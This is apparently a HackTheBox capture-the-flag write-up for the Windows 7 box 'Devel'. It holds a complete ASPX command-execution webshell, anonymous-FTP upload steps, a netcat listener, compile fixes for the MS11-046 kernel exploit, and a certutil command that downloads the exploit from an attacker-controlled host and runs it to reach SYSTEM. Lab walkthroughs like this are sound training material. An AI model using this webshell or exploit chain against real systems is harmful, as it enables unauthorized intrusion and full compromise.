Skip to content

Devel Writeup - HackTheBox

Easy Windows
Mohammad Meraj

Independent Security Researcher

Devel is an unpatched Windows 7 box that combines two classic misconfigurations: anonymous FTP write access to the IIS webroot enables immediate ASPX webshell upload, and a completely unpatched kernel makes MS11-046 a straight shot to SYSTEM.

Reconnaissance

┌──(kali㉿kali)-[~]
└─$ nmap -sCV -T4 -p21,80 $TARGET_IP
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  02:06AM       <DIR>          aspnet_client
| 03-17-17  05:37PM                  689 iisstart.htm
|_03-17-17  05:37PM               184946 welcome.png
| ftp-syst:
|_  SYST: Windows_NT
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-title: IIS7
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

FTP allows anonymous login. The directory listing (aspnet_client, iisstart.htm, welcome.png) matches what is served on port 80 exactly: the FTP root is the IIS webroot. IIS 7.5 runs ASP.NET, so an ASPX file dropped via FTP executes immediately over HTTP.

Initial Access

ASPX webshell upload via anonymous FTP

Write a minimal ASPX webshell:

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server">
void Page_Load(object sender, EventArgs e) {
    string cmd = Request["cmd"];
    if (!string.IsNullOrEmpty(cmd)) {
        ProcessStartInfo psi = new ProcessStartInfo("cmd.exe", "/c " + cmd);
        psi.RedirectStandardOutput = true;
        psi.UseShellExecute = false;
        Process p = Process.Start(psi);
        Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
    }
}
</script>

Upload via anonymous FTP:

┌──(kali㉿kali)-[~]
└─$ ftp $TARGET_IP
Name: anonymous
Password: (blank)
230 User logged in.
ftp > put shell.aspx
226 Transfer complete.

Confirm execution:

┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP/shell.aspx?cmd=whoami"
<pre>iis apppool\web
</pre>

RCE as iis apppool\web. Upgrade to an interactive reverse shell by sending a PowerShell TCP reverse shell one-liner through the cmd parameter, catching it locally:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT

Privilege Escalation

OS fingerprint

┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP/shell.aspx?cmd=systeminfo"
OS Name:     Microsoft Windows 7 Enterprise
OS Version:  6.1.7600 N/A Build 7600
Hotfix(s):   N/A

Windows 7 Build 7600 with zero hotfixes installed. MS11-046 (afd.sys local privilege escalation) covers this version.

Compile fix for MS11-046

The public PoC from EDB-40564 declares ZwQuerySystemInformation as a zero-arg FARPROC, which no longer matches current mingw-w64 headers and fails to compile. Add a proper typedef:

typedef LONG NTSTATUS;
typedef NTSTATUS (WINAPI *PZWQUERYSYSTEMINFORMATION)(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
);

Replace the FARPROC declaration and its GetProcAddress call with a typed pointer:

PZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
ZwQuerySystemInformation =
    (PZWQUERYSYSTEMINFORMATION)GetProcAddress(
        GetModuleHandleA("ntdll.dll"),
        "ZwQuerySystemInformation");

Cross-compile for x86 Windows and link Winsock:

┌──(kali㉿kali)-[~]
└─$ i686-w64-mingw32-gcc MS11-046.c -o MS11-046.exe -lws2_32

Delivery and execution

Serve the binary:

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8080

Pull it down on the target without PowerShell cradles:

C:\Users\Guest\Desktop> certutil.exe -urlcache -split -f http://$ATTACKER_IP:8080/MS11-046.exe C:\ProgramData\MS11-046.exe
CertUtil: -URLCache command completed successfully.
C:\Users\Guest\Desktop> C:\ProgramData\MS11-046.exe
c:\Windows\System32>whoami
nt authority\system

SYSTEM via afd.sys kernel token manipulation.